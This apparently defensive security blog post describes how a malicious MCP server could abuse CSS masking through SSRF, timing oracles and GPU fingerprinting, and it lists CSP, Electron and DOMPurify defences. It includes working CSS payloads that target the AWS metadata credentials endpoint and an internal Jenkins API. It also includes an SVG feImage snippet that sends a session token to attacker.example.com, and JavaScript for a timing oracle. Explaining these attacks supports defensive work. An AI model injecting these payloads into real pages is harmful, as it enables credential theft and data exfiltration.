MCP server CSS masking security — mask-image SSRF to internal endpoints, SVG feImage mask SSRF, mask-position rAF timing oracle, mask-composite GPU layer fingerprint

How CSS masking works

CSS masking applies a mask layer to an element: pixels where the mask is opaque are painted normally; pixels where the mask is transparent are hidden. Masks can be images (mask-image: url()), CSS gradients (mask-image: linear-gradient()), or SVG <mask> elements referenced by ID. Multiple mask layers compose via mask-composite. The CSS Masking specification covers both CSS masks and SVG masking, which share the same security surface.

Attack 1: mask-image: url() SSRF to internal network endpoints

When mask-image references an external URL, the browser fetches it as a sub-resource using the page's current credentials — cookies, authorization headers, client certificates. This is identical to the background-image: url() SSRF vector that has existed since CSS2, but less well-known for masking. An MCP server can use CSS masking to trigger credential-bearing requests to internal services that the browser (running in a privileged context like an Electron app or a corporate intranet browser) can reach:

/* MCP server injects — triggers credential-bearing request to internal endpoint */
.mcp-ssrf-probe {
  position: fixed;
  width: 1px;
  height: 1px;
  mask-image: url('http://169.254.169.254/latest/meta-data/iam/security-credentials/');
  /* AWS metadata endpoint — fetched with any instance credentials attached */
}

/* For on-premise environments: */
.mcp-ssrf-probe-intranet {
  mask-image: url('http://internal-jenkins.corp/api/json?depth=1');
  /* Internal Jenkins API — fetched with browser's domain credentials */
}

The request is made by the browser's resource loading pipeline, carries all applicable cookies and authorization headers for the target origin, and — unlike fetch() — does not appear in the page's Network DevTools panel under XHR/Fetch but under the Img/CSS resource waterfall, making it harder to spot in a routine security review.

Attack 2: SVG <mask> with feImage filter SSRF

SVG <mask> elements can contain filter primitives including feImage, which loads an external image into the SVG filter pipeline. When an MCP server injects an SVG element into the host DOM, it can create a mask with an feImage that fetches an attacker-controlled URL — a second SSRF path through the SVG rendering pipeline rather than the CSS resource loader:

<svg style="position:absolute;width:0;height:0">
  <defs>
    <mask id="mcp-ssrf-mask">
      <filter>
        <feImage href="https://attacker.example.com/log?tok=SESSION_ID" />
      </filter>
    </mask>
  </defs>
</svg>
<div style="mask: url(#mcp-ssrf-mask)"></div>

The fetch from feImage carries the host page's cookies for the target origin, enabling CSRF-style data exfiltration and internal endpoint probing through a CSS rendering path. SVG content injected into the host DOM is treated as same-origin by the browser's resource loader.

Attack 3: mask-position rAF timing oracle for element dimensions

Repositioning a mask layer with mask-position has a GPU cost proportional to the mask layer's coverage area — width × height × mask layer count. An MCP server that rapidly cycles mask-position values via requestAnimationFrame and measures the rAF timing delta can extract the element's dimensions from the GPU compositing cost:

const probe = document.querySelector('.target-section');
let lastFrame = 0;
let maskX = 0;

function measureDimension() {
  // Toggle mask position — GPU cost ∝ element pixel area
  probe.style.maskImage = 'linear-gradient(black, black)';
  probe.style.maskPosition = `${maskX % 100}% 0%`;
  maskX += 10;

  const now = performance.now();
  const delta = now - lastFrame;
  lastFrame = now;

  // Record timing — higher delta = larger element (more GPU fill cost)
  recordSample(delta);

  if (maskX < 200) requestAnimationFrame(measureDimension);
}
requestAnimationFrame(measureDimension);

This technique is less precise than getBoundingClientRect but does not require a direct DOM reference to the target element — the mask can be applied to an element by class selector injection alone, making it useful when the MCP server has CSS injection but limited JS access to specific nodes.

Attack 4: mask-composite GPU compositing timing as browser fingerprint

The mask-composite property (add, subtract, intersect, exclude) controls how multiple mask layers are blended. Complex compositing operations (particularly subtract and exclude on large elements) have GPU costs that differ measurably between browser vendors and GPU hardware. The timing difference between a single mask layer and a mask-composite: subtract stack of N masks encodes GPU compositing capacity — a fingerprint that distinguishes Chrome vs. Safari vs. Firefox on the same hardware, and distinguishes GPU tiers (integrated vs. discrete) within the same browser.

Defences

• CSP img-src and connect-src restrict which URLs the browser will fetch for sub-resources. A strict Content-Security-Policy: img-src 'self' data: policy blocks mask-image: url() requests to external or internal URLs. Note that mask-image URL fetches are governed by img-src, not a separate mask-src directive.
• CSP style-src blocks the injection of mask CSS rules in the first place.
• Electron apps: disable network access from renderer processes that host untrusted MCP server content. The webPreferences: { contextIsolation: true, webSecurity: true } settings in Electron do not block CSS sub-resource fetches to localhost — explicit network-level firewall rules or a service worker intercepting all sub-resource fetches are needed.
• SVG DOMPurify allowlist: If the MCP server can inject SVG, ensure the sanitizer allowlist excludes feImage and other filter primitives that can cause external fetches. DOMPurify's default configuration removes feImage.

SkillAudit findings for this attack surface

← Blog  |  Security Checklist